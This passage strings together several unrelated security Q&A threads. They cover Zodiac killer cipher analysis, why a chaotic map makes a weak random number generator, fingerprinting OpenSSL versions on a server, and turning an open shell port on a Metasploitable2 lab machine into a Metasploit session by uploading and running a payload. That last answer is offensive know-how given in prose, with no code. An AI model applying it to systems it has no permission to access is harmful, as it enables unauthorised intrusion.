Repeating Trigram analysis - when comparing 408 to 340, it is notable that 408 has 11 trigrams where as 340 only has 2. Whatever is disturbing the bigram count does not appear to be disturbing the trigram count. This favors the theory of a horizontal reading direction.
Bigram distance analysis - This type of analysis looks at the possibility of symbol transposition. This analysis as been inconclusive and no conclusions have been able to be drawn.
Homophonic substitution analysis - Strongest example (symbols L/M) repeat 7 times.
odd/even analysis - Very wide spread of bigram counts. Less than 1% of randomized trials show this even of a bigram spread.

Notable Oddities

Two pivot pairs appear in the cipher text. The chances of this happening naturally Once in this size of text is 1 in 50,000. This may or may not be significant.
Two strange 'box corner' patterns appear in the text between the 'O' and 'C' symbols.
"ZODAIK" seems to appear in the cipher at the bottom left of the last line of text, if you replace a solid triangle symbol with a 'D'

 My Conclusion

To answer your questions specifically;

  Why haven't his remaining three letters been cracked yet?

13 is too short. 32 is essentially a one time pad. 340 is short, complicated and nigh-on nonsensical.

  Is this a technical problem, or is it just not being worked on?

It's a technical problem. without patterns, no amount of pattern analysis is going to make a difference.

  Are the letters available to the public for someone to try their hand with?

Yes. There are multiple forums dedicated to this task.

The 340 cipher is still being actively pursued by a dedicated community. There are several forums (http://zodiackillersite.com, http://zodiackillerfacts.com, http://zodiackiller.com) focused on finding a solution. The shortness of the cipher and the number of symbols pose a real challenge to investigators. It would be interesting to see if an AI like Watson or Deep Blue would be able to make any headway on this, however at this point, to some degree its academic. No solution to this cipher will be able to bring any peace to those affected by the murders.

If you are truly interested in this topic, I would HIGHLY recommend you listen to the video I've listed in my sources and visit the forums. The people who are working on this will be able to go into FAR more depth than I'm able to.

  Sources:

Wikipedia

Zodiac Killer Ciphers

Youtube - David Oranchak


Does chaos theory have any practical application in computer security? Having learned about chaos theory at university some years ago, I've been curious ever since to know whether it has found any practical use in computing.

Let me explain where I imagine it could be used...

Chaos, in the mathematical sense, is stochastic ("random") behaviour in a deterministic ("non-random") system. Chaotic systems have three key properties:

they are bounded
they are non-repeating
they are sensitive to initial conditions

For example, take the chaotic iterative map function f(x) = 2x2 - 1. For inputs between -1 and +1 (excluding -1, -0.5, 0, 0.5 and 1), iterating this function yields chaotic results. For example:

    x     |    f(x)
----------+-----------
0.700000  | -0.020000
-0.020000 | -0.999200
-0.999200 | 0.996801
0.996801  | 0.987226
0.987226  | 0.949229
0.949229  | 0.802070
0.802070  | 0.286633
0.286633  | -0.835683
-0.835683 | 0.396731

The results are bounded (output is always greater than -1.0, less than 1.0) and non-repeating (try iterating over it a few thousand times – you won't see any emerging pattern). If you vary the first value of x by even a tiny amount (e.g. use 0.700001) you'll start to see the results diverging considerably from those above after just a few iterations. In other words, this function is also sensitive to initial conditions.

I could imagine this having a number of applications in computing as a predictable pseudo-random number generator. For example, you could use something like the above function as the basis for one of those secure key fobs used for "something you have with you" authentication. Imagine using f(x) = 2x2 - 1 in such a device. Provided the device and the server were seeded with exactly the same initial input, they'll continue to remain in sync forever (allowing for timing issues), since the function is completely deterministic. Let's say you used the first six digits after the decimal point as the key displayed to the user and validated by the server. If someone looked over your shoulder, saw the current value and fed it into the same function, they still couldn't predict future values of the device thanks to the function's sensitivity to initial conditions: only having the input to six decimal places is worthless.

So, is my intuition correct? Has chaos found such a use in computer security?

Chaos is not sufficient. A cryptographically secure PRNG must produce unpredictable output: it should not be sufficient, for someone observing a long stream of values produced by the PRNG, but not knowing its internal state, to predict the next bit with a success probability substantially distinct from 0.5 (i.e. predictions should not work better than luck). In the case of f(x) = 2x2 - 1, it suffices to observe one output value to compute the internal state (if f(x) = y then x = ±sqrt((y+1)/2) and thus predict future behaviour of the generator. This would make for an extremely weak PRNG.

A secure PRNG produces output which is indistinguishable from randomness; as such, it looks chaotic. Being chaotic is necessary for a secure PRNG, but nowhere near sufficient, as the example above shows.

Chaos theory fascinates some people because it deals with chaotic behaviour emerging out of "normal" physical functions, which is surprising because "mundane" physics have accustomed us to expect tame, linear behaviour of physical quantities (thermodynamics being the prime example of that). However, computer security works on computer which already live in a discrete, thus non-linear world (it is all zeros and ones). In computers, chaotic behaviour is the norm; for cryptography, we must go much beyond that.

Chaos theory would be relevant if you had to build a PRNG without using a computer, but instead relying on a few tools from macroscopic physics. In that case, chaos would be all you would have to work with. Chaos theory is the right tool to explain why a lottery machine is a good RNG. But this does not apply to computers in which complete accuracy is the norm: you cannot measure a physical quantity with more than a dozen digits or precision, and the value you get is always approximate to some degree, as if the World kept the extra precision up its metaphorical sleeve; but you can get a thousand bits exactly, and there is nothing more in a computer.


Banner grabbing OpenSSL versions with OpenSSL With the recent news about a new OpenSSL vulnerability (affecting 1.0.2 only), I'm looking to conduct some research and I was wondering if there was an way to identify what version of OpenSSL a server is running (without using Nmap).  Ideally, I'd like to use OpenSSL itself to identify the server version.

Is there any way that s_client with other params can be used to force a server to throw out the version in use?  Maybe key renegotiation?

Thanks.

There is nothing like a "TLS stack type and version" in the TLS specification. OpenSSL by itself has also no kind of non-standard feature which allows you to ask a server for the version. Thus you don't get such explicit information on the protocol level. You might try to guess the version based on behavior changes or specific ciphers which only exist since a specific OpenSSL version, but it is unlikely that you get a very specific result this way.

You might also get a version inside the Server header of the HTTP server, i.e. something like Apache/2.2.24 (Unix) mod_ssl/2.2.24 OpenSSL/1.0.0.e. But this can easily be faked.

On the other hand I doubt that it is useful at all to remotely get the OpenSSL version. At least this can not be used to find out if the server is affected by a specific security issue. Fixes for security issues usually get backported by the distributor and thus it might still be some OpenSSL 1.0.2e but it contains the security fixes (but not the features) from later versions.


How would I turn an open telnet shell into a Metasploit session? I'm trying to pivot using a metasploitable2 system, which has a shell port open in a scan:

port       status   service
 1524/tcp   open     shell

Accessing the root shell is easy enough in telnet, or even using connect in msfconsole but this does not create a session which i can use with meterpreter or routing options.

Does anybody know any options such as metasploit modules that exploit an open shell port? A seemingly trivial "exploit" but hard to find one..

If you have root on the server (or any kind of shell access), generate a payload on Metasploit, copy it to the server, and execute.

You don't turn telnet into meterpreter, you start another connection.